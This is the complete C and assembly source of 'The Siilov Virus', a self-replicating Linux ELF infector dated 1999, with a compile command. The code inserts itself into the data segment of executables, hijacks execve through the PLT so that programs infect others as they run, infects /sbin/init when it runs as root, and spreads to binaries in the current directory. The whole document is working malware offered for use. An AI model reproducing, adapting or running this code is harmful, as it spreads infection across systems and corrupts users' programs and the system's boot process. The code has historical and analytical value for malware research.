/*
	THE SILLOV VIRUS

	- Silvio Cesare <silvio@big.net.au>
	- http://www.big.net.au/~silvio
	- http://virus.beergrave.net
	- December 1999

	gcc siilov-src.c -o siilov.bin -O2 -nostdlib
*/

#include <linux/types.h>
#include <asm/unistd.h>
#include <linux/fcntl.h>
#include <linux/mman.h>
#include <linux/dirent.h>
#include <elf.h>

/* stdio. normally has these, but where trying to avoid libc */

#define SEEK_SET		0
#define SEEK_CUR		1
#define SEEK_END		2

struct stat {
        dev_t st_dev;                     /* Device.  */
        unsigned short int __pad1;
        ino_t st_ino;                     /* File serial number.  */
        mode_t st_mode;                   /* File mode.  */
        nlink_t st_nlink;                 /* Link count.  */
        uid_t st_uid;                     /* User ID of the file's owner. */
        gid_t st_gid;                     /* Group ID of the file's group.*/
        dev_t st_rdev;                    /* Device number, if device.  */
        unsigned short int __pad2;
        off_t st_size;                    /* Size of file, in bytes.  */
        unsigned long int st_blksize;       /* Optimal block size for I/O.  */
        unsigned long int st_blocks;        /* Number of 512-byte blocks allocated.
 */
        time_t st_atime;                  /* Time of last access.  */
        unsigned long int __unused1;
        time_t st_mtime;                  /* Time of last modification.  */
        unsigned long int __unused2;
        time_t st_ctime;                  /* Time of last status change.  */
        unsigned long int __unused3;
        unsigned long int __unused4;
        unsigned long int __unused5;
};

/*
        Remember, we cant use libc even for things like open, close etc

        New __syscall macros are made so not to use errno which are just
        modified _syscall routines from asm/unistd.h
*/

#define __syscall0(type,name) \
type _##name(void) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
        : "=a" (__res) \
        : "0" (__NR_##name)); \
        return (type) __res; \
}

#define __syscall1(type,name,type1,arg1) \
type _##name(type1 arg1) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
        : "=a" (__res) \
        : "0" (__NR_##name),"b" ((long)(arg1))); \
        return (type) __res; \
}

#define __syscall2(type,name,type1,arg1,type2,arg2) \
type _##name(type1 arg1,type2 arg2) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
        : "=a" (__res) \
        : "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2))); \
        return (type) __res; \
}

#define __syscall3(type,name,type1,arg1,type2,arg2,type3,arg3) \
type _##name(type1 arg1,type2 arg2,type3 arg3) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
        : "=a" (__res) \
        : "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \
                "d" ((long)(arg3))); \
        return (type) __res; \
}

void *_malloc(int);
void _free(void *);

#define DATA_ENTRY_POINT	0

#define ORIG_ENTRY_POINT	0
#define ORIG_PLT_ADDR		1
#define PLT_ADDR		2
#define USE_PLT			3
#define STORE			4

#define VIRUS_LENGTH	(virendall - virstart)
#define CHAIN_LENGTH	(virchend - virchstart)
#define PAGE_SIZE	4096
#define PAGE_MASK	(PAGE_SIZE - 1)

typedef struct {
        Elf32_Ehdr      ehdr;
        Elf32_Phdr*     phdr;
        Elf32_Shdr*     shdr;
	int		plen;
        char**          section;
	char*		string;
        int             bss;
} bin_t;

void virstart(void);
void virchend(void);
void virchstart(void);
long *getvirchdata(void);
long *getvirdata(void);
int plt_execve(const char *, const char *[], const char *[]);
int init_virus(int, int, int, int, bin_t *);
void virendall(void);
char *get_virus(void);

void virfunc(void)
{
__asm__("
.globl L1
	.type virstart,@function
virstart:
	pushl %eax
	pushl %ebx
	pushl %ecx
	pushl %edx

	call virmain
virmain:
	popl %esi				#
	addl $(virdata - virmain),%esi		# movl $virdata,%esi

	cmpl $0,use_plt - virdata(%esi)
	jz skip_plt

# this can be converted to C but should we bother?

	movl plt_addr - virdata(%esi),%ebx	#
	movl (%ebx),%ecx			#
	movl %ecx,orig_plt_addr - virdata(%esi)	# movl plt_addr,orig_plt_addr

	movl %esi,%ebx				#
	subl $(virdata - plt_execve),%ebx	#
	movl plt_addr - virdata(%esi),%ecx	#
	movl %ebx,(%ecx)			# movl $plt_execve,plt_addr

skip_plt:
	movl $125,%eax
	movl orig_entry_point - virdata(%esi),%ebx
	movl %ebx,%edi				# for later
	andl $~4095,%ebx
	movl $8192,%ecx
	movl $7,%edx
	int $0x80

	pushl %edi
	leal store - virdata(%esi),%esi
	movl $(virchend - virchstart),%ecx
	rep
	movsb

	call _vstart

	popl %edi
	popl %edx
	popl %ecx
	popl %ebx
	popl %eax

	jmp *%edi

.globl getvirdata
	.type getvirdata,@function
getvirdata:
	pushl %ebp
	movl %esp,%ebp

	call getvirdatamain

getvirdatamain:
	popl %eax				#
	addl $(virdata - getvirdatamain),%eax	# movl $virdata,%eax

	movl %ebp,%esp
	popl %ebp

	ret

virdata:

orig_entry_point:
.long 0

orig_plt_addr:
.long 0

plt_addr:
.long 0

use_plt:
.long 0

store:
	.zero virchend - virchstart

");
/*
	we have a little wasted space here from cleaning up the stack frame
	in the wrapper function.
*/
}

inline __syscall1(int, exit, int, status);
inline __syscall1(unsigned long, brk, unsigned long, brk);
inline __syscall2(int, fstat, int, fd, struct stat *, buf);
inline __syscall1(int, unlink, const char *, pathname);
inline __syscall3(int, fchown, int, fd, uid_t, owner, gid_t, group);
inline __syscall2(int, rename, const char *, oldpath, const char *, newpath);
inline __syscall3(int, open, const char *, file, int, flag, int, mode);
inline __syscall1(int, close, int, fd);
inline __syscall3(off_t, lseek, int, filedes, off_t, offset, int, whence);
inline __syscall3(ssize_t, read, int, fd, void *, buf, size_t, count);
inline __syscall3(ssize_t, write, int, fd, const void *, buf, size_t, count);
inline __syscall3(int, mprotect, caddr_t, addr, size_t, len, int, prot);
inline __syscall3(int, getdents, int, fd, struct dirent *, dirp, int, count);
inline __syscall0(int, geteuid);

static char id[] =
	"Siilov, Decemeber 1999, Silvio Cesare <silvio@big.net.au>"
;

/*
	a pseduo data segment for various strings (remmeber, we have to be
	relocateable)
*/

#define ORIGINAL_BRK	0
#define TEMPNAME	4
#define EXECVE		12
#define SEC_STRING	19
#define REL_PLT		26
#define DOT		35
#define INIT		37

char *getdataseg(void)
{
__asm__("
	call datasegreloc
datasegreloc:
	popl %eax
	addl $(dataseg - datasegreloc),%eax
	jmp skipdataseg
dataseg:
.long 0
.string \"vXXXXXX\"
.string	\"execve\"
.string \".data1\"
.string \".rel.plt\"
.string \".\"
.string \"/sbin/init\"
skipdataseg:
");
}

/*
	this can be coded in asm but should we? (though its faster and smaller)
*/

int orig_plt_func(const char *filename, const char *argv[], const char *envp[])
{
	long *data = getvirdata();
	int (*f)(const char *, const char *[], const char *[]);
	int ret;

	f = (void *)(*(long *)data[PLT_ADDR] = data[ORIG_PLT_ADDR]);
	ret = f(filename, argv, envp);
/*	data[ORIG_PLT_ADDR] = *(long *)data[PLT_ADDR];

	the following line doesnt compile very nicely as it doesnt shortcut
	the subtraction

	*(long *)data[PLT_ADDR] = (long)&((char *)data)[
		(long)plt_execve - (long)virdata
	];
*/	return ret;
}

int plt_execve(const char *filename, const char *argv[], const char *envp[])
{
	try_infect(filename);
	return orig_plt_func(filename, argv, envp);
}

void virchfunc(void)
{
__asm__("
.globl virchstart
	.type virchstart,@function
virchstart:
	call virchmain
virchmain:
	popl %esi				#
	addl $(virchdata - virchmain),%esi	# movl $virdata,%esi

	movl data_entry_point - virchdata(%esi),%edi
						# movl data_entry_point,%edi
	jmp *%edi

.globl getvirchdata
	.type getvirchdata,@function
getvirchdata:

	pushl %ebp
	movl %esp,%ebp

	call virchreloc
virchreloc:
	popl %eax
	addl $(virchdata - virchreloc),%eax

	movl %ebp,%esp	
	popl %ebp
	ret

virchdata:

.globl data_entry_point
	.size data_entry_point,4
	.type data_entry_point,@object
data_entry_point:
.long 0

.globl virchend
	.type virchend,@function
virchend:
");
}

char *get_virus(void)
{
	return (char *)((long)getvirdata() - 130);
}

void _memcpy(void *dst, void *src, int len)
{
	char *p, *q;
	int i;

	p = src;
	q = dst;
	for (i = 0; i < len; i++) *q++ = *p++;
}

int _strcmp(const char *p, const char *q)
{
	while (*p && *q) {
		if (*p != *q) return 1;
		++p;
		++q;
	}
	return *p != *q;
}

int init_virus(
	int plt, int data_start, int data_memsz, int entry, bin_t *bin
)
{
	long code_start = data_start + data_memsz;
	long *chdata, *data;
	int i;
	long _virchstart;

	chdata = getvirchdata();
	_virchstart = (long)chdata - 38;
	chdata[DATA_ENTRY_POINT] = code_start;
	data = getvirdata();
	data[ORIG_ENTRY_POINT] = entry;
	if (plt == -1) {
		data[USE_PLT] = 0;
	} else {
		data[USE_PLT] = 1;
		data[PLT_ADDR] = plt;
	}
	for (i = 0; i < bin->bss; i++) {
		long vaddr = bin->shdr[i].sh_addr;

		if (entry >= vaddr && entry < (vaddr + bin->shdr[i].sh_size)) {
			char *p = &bin->section[i][entry - vaddr];

			_memcpy(&data[STORE], p, CHAIN_LENGTH);
			_memcpy(p, (char *)_virchstart, CHAIN_LENGTH);
			break;
		}
	}
	return 0;
}

int do_elf_checks(Elf32_Ehdr *ehdr)
{
	return (
		ehdr->e_ident[0] != ELFMAG0 ||
		ehdr->e_ident[1] != ELFMAG1 ||
		ehdr->e_ident[2] != ELFMAG2 ||
		ehdr->e_ident[3] != ELFMAG3 ||
		ehdr->e_type != ET_EXEC ||
		(ehdr->e_machine != EM_386 && ehdr->e_machine != EM_486) ||
		ehdr->e_version != EV_CURRENT
	);
} 


int do_dyn_symtab(
	int fd,
	Elf32_Shdr *shdr, Elf32_Shdr *shdrp,
	const char *sh_function
)
{
	Elf32_Shdr *strtabhdr = &shdr[shdrp->sh_link];
	char *string;
	Elf32_Sym *sym, *symp;
	int i;

	string = (char *)_malloc(strtabhdr->sh_size);
	if (string == NULL) goto error;
	if (_lseek(
		fd, strtabhdr->sh_offset, SEEK_SET) != strtabhdr->sh_offset
	) goto string_error;
	if (_read(fd, string, strtabhdr->sh_size) != strtabhdr->sh_size)
		goto string_error;
	sym = (Elf32_Sym *)_malloc(shdrp->sh_size);
	if (sym == NULL) goto string_error;
	if (_lseek(fd, shdrp->sh_offset, SEEK_SET) != shdrp->sh_offset)
		goto sym_error;
	if (_read(fd, sym, shdrp->sh_size) != shdrp->sh_size) goto sym_error;
	symp = sym;
	for (i = 0; i < shdrp->sh_size; i += sizeof(Elf32_Sym)) {
		if (!_strcmp(&string[symp->st_name], sh_function)) {
			_free(sym);
			_free(string);
			return symp - sym;
		}
		++symp;
	}
sym_error:
	_free(sym);
string_error:
	_free(string);
error:
	return -1;
}

int get_sym_number(
	int fd, Elf32_Ehdr *ehdr, Elf32_Shdr *shdr, const char *sh_function
)
{
	Elf32_Shdr *shdrp = shdr;
	int i;

	for (i = 0; i < ehdr->e_shnum; i++) {
		if (shdrp->sh_type == SHT_DYNSYM)
			return do_dyn_symtab(fd, shdr, shdrp, sh_function);
		++shdrp;
	}
}

int do_rel(int fd, Elf32_Shdr *shdr, int sym)
{
	Elf32_Rel *rel, *relp;
	int i;

	rel = (Elf32_Rel *)_malloc(shdr->sh_size);
	if (rel == NULL) goto error;
	if (_lseek(fd, shdr->sh_offset, SEEK_SET) != shdr->sh_offset)
		goto rel_error;
	if (_read(fd, rel, shdr->sh_size) != shdr->sh_size) goto rel_error;
	relp = rel;
	for (i = 0; i < shdr->sh_size; i += sizeof(Elf32_Rel)) {
		if (ELF32_R_SYM(relp->r_info) == sym) {
			long offset = relp->r_offset;

			_free(rel);
			return offset;
		}
		++relp;
	}
rel_error:
	_free(rel);
error:
	return -1;
}

int find_rel(
	int fd,
	const char *string,
	Elf32_Ehdr *ehdr, Elf32_Shdr *shdr,
	const char *sh_function
)
{
	Elf32_Shdr *shdrp = shdr;
	int sym;
	int i;

	sym = get_sym_number(fd, ehdr, shdr, sh_function);
	if (sym < 0) return -1;
	for (i = 0; i < ehdr->e_shnum; i++) {
		if (!_strcmp(&string[shdrp->sh_name], &getdataseg()[REL_PLT]))
			return do_rel(fd, shdrp, sym);
		++shdrp;
	}
	return -1;
}

int load_section(char **section, int fd, Elf32_Shdr *shdr)
{
        if (_lseek(fd, shdr->sh_offset, SEEK_SET) < 0) return -1;
        *section = (char *)_malloc(shdr->sh_size);
        if (*section == NULL) return -1;
        if (_read(fd, *section, shdr->sh_size) != shdr->sh_size) {
		_free(*section);
		return -1;
	}
	return 0;
}

int load_bin(int fd, bin_t *bin, const char *newsecstr)
{
        char **sectionp;
        Elf32_Ehdr *ehdr;
        Elf32_Shdr *shdr;
        int slen;
	Elf32_Shdr *strtabhdr;
        int i;

        ehdr = &bin->ehdr;
        if (_read(fd, ehdr, sizeof(Elf32_Ehdr)) != sizeof(Elf32_Ehdr))
		goto error;
        if (do_elf_checks(ehdr)) goto error;
        bin->phdr = (Elf32_Phdr *)_malloc(
		bin->plen = sizeof(Elf32_Phdr)*ehdr->e_phnum
	);
        if (bin->phdr == NULL) goto error;
        if (_lseek(fd, ehdr->e_phoff, SEEK_SET) < 0) goto phdr_error;
        if (_read(fd, bin->phdr, bin->plen) != bin->plen) goto phdr_error;
        slen = sizeof(Elf32_Shdr)*ehdr->e_shnum;
        bin->shdr = (Elf32_Shdr *)_malloc(slen);
        if (bin->shdr == NULL) goto phdr_error;
        bin->section = (char **)_malloc(sizeof(char **)*ehdr->e_shnum);
        if (bin->section == NULL) goto shdr_error;
        if (_lseek(fd, ehdr->e_shoff, SEEK_SET) < 0) goto section_error;
        if (_read(fd, bin->shdr, slen) != slen) goto section_error;
	strtabhdr = &bin->shdr[ehdr->e_shstrndx];
	bin->string = (char *)_malloc(strtabhdr->sh_size);
	if (bin->string == NULL) goto section_error;
	if (_lseek(
		fd, strtabhdr->sh_offset, SEEK_SET
	) != strtabhdr->sh_offset) goto string_error;
	if (_read(fd, bin->string, strtabhdr->sh_size) != strtabhdr->sh_size)
		goto string_error;
/*
	virus detection is simple. if the .data1 section exists, skip.
*/
	shdr = bin->shdr;
	for (i = 0; i < ehdr->e_shnum; i++) {
		if (!_strcmp(&bin->string[shdr[i].sh_name], newsecstr))
			goto already_infected;
	}
	bin->bss = -1;
        for (
                i = 0, sectionp = bin->section;
                i < ehdr->e_shnum;
                i++, sectionp++
        ) {
		if (shdr[i].sh_type == SHT_NOBITS) bin->bss = i;
		else if (load_section(sectionp, fd, &shdr[i]) < 0)
			goto asection_error;
        }
	if (bin->bss < 0) goto asection_error;
        return 0;
asection_error:
	for (--i; i >= 0; i--,sectionp--) _free(*sectionp);
already_infected:
string_error:
	_free(bin->string);
section_error:
	_free(bin->section);
shdr_error:
	_free(bin->shdr);
phdr_error:
	_free(bin->phdr);
error:
	return -1;
}

void free_bin(bin_t *bin)
{
	int i;

	_free(bin->phdr);
	_free(bin->shdr);
	for (i = 0; i < bin->ehdr.e_shnum; i++)
		_free(bin->section[i]);
	_free(bin->section);
}

void memzero(char *ptr, int len)
{
	int i;
	for (i = 0; i < len; i++) ptr[i] = 0;
}

int _strlen(const char *str)
{
	const char *p;

	for (p = str; *p; ++p);
	return p - str;
}

/*
	the most dodgy malloc implementation in existance. its simple and its
	tiny however.
*/

void malloc_init(void)
{
	unsigned char *p = &getdataseg()[ORIGINAL_BRK];
	unsigned long b = _brk(0);

	p[0] = b & 255;
	p[1] = (b >> 8) & 255;
	p[2] = (b >> 16) & 255;
	p[3] = (b >> 24);
}

void *_malloc(int size)
{
	long b;
	
	b = _brk(0);
	if (_brk(b + size) < 0) return NULL;
	return (void *)b;
}

void _free(void *ptr)
{
}

void freeall(void)
{
	unsigned char *p = &getdataseg()[ORIGINAL_BRK];
	unsigned long b = p[0] + (p[1] << 8) + (p[2] << 16) + (p[3] << 24);

	_brk(b);
}

int try_infect(char *host)
{
	Elf32_Phdr *phdr;
	Elf32_Shdr *shdr;
	int move = 0;
	int out = -1, in = -1;
	int evaddr, text_start = -1, plt;
	int bss_len, addlen, addlen2, addlen3;
	int offset, pos, oshoff;
	int i, j;
	char null = 0;
	struct stat st_buf;
	bin_t bin;
	Elf32_Shdr newshdr;
	char *zero;
	char *data = getdataseg();
	char *tempname = &data[TEMPNAME];
	char *DEBUG_STRING = &data[SEC_STRING];

	in = _open(host, O_RDONLY, 0);
	if (in < 0) goto error;
	if (load_bin(in, &bin, DEBUG_STRING) < 0) goto error;
	plt = find_rel(
		in,
		bin.string,
		&bin.ehdr, bin.shdr,
		&data[EXECVE]
	);
	phdr = bin.phdr;
	for (i = 0; i < bin.ehdr.e_phnum; i++) {
		if (phdr->p_type == PT_LOAD) {
			if (phdr->p_offset == 0) {
				text_start = phdr->p_vaddr;
			} else {
				if (text_start < 0) goto bin_error;
/* is this the data segment ? */
				offset = phdr->p_offset + phdr->p_filesz;
				bss_len = phdr->p_memsz - phdr->p_filesz;
				if (init_virus(
					plt,
					phdr->p_vaddr,
					phdr->p_memsz,
					bin.ehdr.e_entry,
					&bin
				) < 0) goto bin_error;
				break;
			}
		}
		++phdr;
	}
	addlen = VIRUS_LENGTH + bss_len;
/*
	update the phdr's to reflect the extention of the data segment (to
	allow virus insertion)
*/
	phdr = bin.phdr;
	for (i = 0; i < bin.ehdr.e_phnum; i++) {
		if (phdr->p_type != PT_DYNAMIC) {
			if (move) {
				phdr->p_offset += addlen;
			} else if (phdr->p_type == PT_LOAD && phdr->p_offset) {
/* is this the data segment ? */
				phdr->p_filesz += addlen;
				phdr->p_memsz += addlen;
 				move = 1;
			}
		}
		++phdr;
	}
        if (_fstat(in, &st_buf) < 0) goto bin_error;

/* write the new virus */
/*	if (mktemp(tempname) == NULL) goto bin_error;
*/
	out = _open(tempname, O_WRONLY | O_CREAT | O_EXCL, st_buf.st_mode);
	if (out < 0) goto bin_error;
	addlen2 = addlen + _strlen(DEBUG_STRING);
	addlen3 = addlen2 + sizeof(Elf32_Shdr);
	bin.ehdr.e_shoff += addlen2;
	++bin.ehdr.e_shstrndx;
	++bin.ehdr.e_shnum;
	if (_write(out, &bin.ehdr, sizeof(Elf32_Ehdr)) != sizeof(Elf32_Ehdr))
		goto cleanup;
/*
	we use the ehdr later on
*/
	--bin.ehdr.e_shnum;
	--bin.ehdr.e_shstrndx;
	if (_write(out, bin.phdr, bin.plen) != bin.plen) goto cleanup;
	for (i = 0; i < bin.bss; i++) {
		if (_lseek(out, bin.shdr[i].sh_offset, SEEK_SET) < 0)
			goto cleanup;
		if (_write(
			out, bin.section[i], bin.shdr[i].sh_size
		) != bin.shdr[i].sh_size)
			goto cleanup;
	}
	zero = (char *)_malloc(bss_len);
	if (zero == NULL) goto cleanup;
	memzero(zero, bss_len);
	if (_write(out, zero, bss_len) != bss_len) goto zero_error;
	_free(zero);
	if (_write(out, get_virus(), VIRUS_LENGTH) != VIRUS_LENGTH)
		goto cleanup;
	for (++i; i <= bin.ehdr.e_shstrndx; i++) {
		if (_lseek(out, addlen + bin.shdr[i].sh_offset, SEEK_SET) < 0)
			goto cleanup;
		if (_write(
			out, bin.section[i], bin.shdr[i].sh_size
		) != bin.shdr[i].sh_size) goto cleanup;
	}
	if (_write(
		out, DEBUG_STRING, _strlen(DEBUG_STRING)
	) != _strlen(DEBUG_STRING)) goto cleanup;
	if (_lseek(out, bin.ehdr.e_shoff, SEEK_SET) < 0) goto zero_error;
	for (i = 0; i < bin.bss; i++)
		if (_write(
			out, &bin.shdr[i], sizeof(Elf32_Shdr)
		) != sizeof(Elf32_Shdr)) goto cleanup;
	newshdr.sh_name = bin.shdr[bin.ehdr.e_shstrndx].sh_size;
	newshdr.sh_type = SHT_PROGBITS;
	newshdr.sh_flags = SHF_ALLOC | SHF_WRITE;
	newshdr.sh_addr = bin.shdr[i].sh_addr;
	newshdr.sh_offset = offset;
	newshdr.sh_size = addlen;
	newshdr.sh_link = 0;
	newshdr.sh_info = 0;
	newshdr.sh_addralign = 0;
	newshdr.sh_entsize = 0;
	if (_write(out, &newshdr, sizeof(Elf32_Shdr)) != sizeof(Elf32_Shdr))
		goto cleanup;
	for (j = 0; j < bin.ehdr.e_shnum; j++)
		if (bin.shdr[j].sh_link > i) ++bin.shdr[j].sh_link;
	bin.shdr[i].sh_offset += addlen;
	bin.shdr[i].sh_addr += addlen;
	bin.shdr[i].sh_size = 0;
	if (_write(
		out, &bin.shdr[i], sizeof(Elf32_Shdr)
	) != sizeof(Elf32_Shdr)) goto cleanup;
	for (++i; i < bin.ehdr.e_shstrndx; i++) {
		bin.shdr[i].sh_offset += addlen;
		if (_write(
			out, &bin.shdr[i], sizeof(Elf32_Shdr)
		) != sizeof(Elf32_Shdr)) goto cleanup;
	}
	bin.shdr[i].sh_size += _strlen(DEBUG_STRING);
	bin.shdr[i].sh_offset += addlen;
	if (_write(
		out, &bin.shdr[i], sizeof(Elf32_Shdr)
	) != sizeof(Elf32_Shdr)) goto cleanup;
	for (++i; i < bin.ehdr.e_shnum; i++) {
		bin.shdr[i].sh_offset += addlen3;
		if (_write(
			out, &bin.shdr[i], sizeof(Elf32_Shdr)
		) != sizeof(Elf32_Shdr)) goto cleanup;
	}
	for (i = bin.ehdr.e_shstrndx + 1; i < bin.ehdr.e_shnum; i++) {
/*
	we've already added to the offset
*/
		if (_lseek(out, bin.shdr[i].sh_offset, SEEK_SET) < 0)
			goto cleanup;
		if (_write(
			out, bin.section[i], bin.shdr[i].sh_size
		) != bin.shdr[i].sh_size) goto cleanup;
	}
	if (_rename(tempname, host) < 0) goto cleanup;
	if (_fchown(out, st_buf.st_uid, st_buf.st_gid) < 0) goto bin_error;
	free_bin(&bin);
	_close(in);
	_close(out);
	return 0;
zero_error:
	_free(zero);
cleanup:
	_unlink(tempname);
bin_error:
	free_bin(&bin);
error:
	_close(in);
	_close(out);
	return -1;
}

#define TRY_LIMIT	10

void _vstart(void)
{
	int ret;
	char d[8192];
	struct dirent *dirp = (struct dirent *)d;
	int dd = -1;
	int n;
	int numd;
	int i, infect, r;
	char *data = getdataseg();

	malloc_init();
	if (_geteuid() == 0) try_infect(&data[INIT]);
	dd = _open(&data[DOT], O_RDONLY, 0);
	if (dd < 0) goto cleanup;
	n = _getdents(dd, dirp, sizeof(d));
	if (n < 0) goto cleanup;
	infect = 0;
	for (
		i = 0, r = 0;
		r < n;
		dirp = (struct dirent *)&d[r += dirp->d_reclen]
	) {
		if (i > TRY_LIMIT && infect) break;
		if (try_infect(dirp->d_name) == 0) ++infect;
	}
cleanup:
	_close(dd);
	freeall();
}

void virendall(void)
{
}

void _start(void)
{
	if (_mprotect(
		(void *)((long)virstart & (~PAGE_MASK)),
		PAGE_SIZE << 1,
		PROT_READ | PROT_WRITE | PROT_EXEC
	) < 0) goto error;
	_vstart();
error:
	_exit(0);
}


syntax highlighted by Code2HTML, v. 0.9.1